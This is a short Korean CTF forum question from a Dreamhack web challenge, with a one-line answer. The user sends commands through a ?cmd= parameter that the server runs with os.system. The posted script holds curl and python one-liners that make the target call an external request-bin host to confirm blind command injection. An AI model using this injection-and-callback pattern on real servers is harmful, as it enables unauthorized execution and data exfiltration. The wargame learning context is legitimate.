curl과 python의 차이
서버에서 실행하는 system 명령어(os.system(cmd))에 대한 결과를 확인하기 위해 curl과 python을 이용하여 두개의 요청을 보냈습니다!
그런데 python으로 한 요청의 결과 값이 오지 않는 이유를 모르겠습니다...
S_METHOD에는 GET 메소드 대신 사용할 메소드가 들어갔습니다.
cmd1을 통한 요청의 응답은 오지 않았고, cmd2를 통한 요청은 응답이 왔습니다
import requests
import os
link = "https://vmtpmuf.request.dreamhack.games"
cmd1 = f"python -c 'import requests; requests.get(\"{link}\")'"
cmd2 = "curl -v 'https://vmtpmuf.request.dreamhack.games'"
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host1.dreamhack.games:{chall_port}/?cmd={cmd}"
#print(cmd)
#print(chall_url)
#os.system(cmd)
response = requests.S_METHOD(chall_url)
```
#web
작성자 정보
답변
1
snwo
2024 Invitational Contenders
curl 이 설치되지 않았나봐요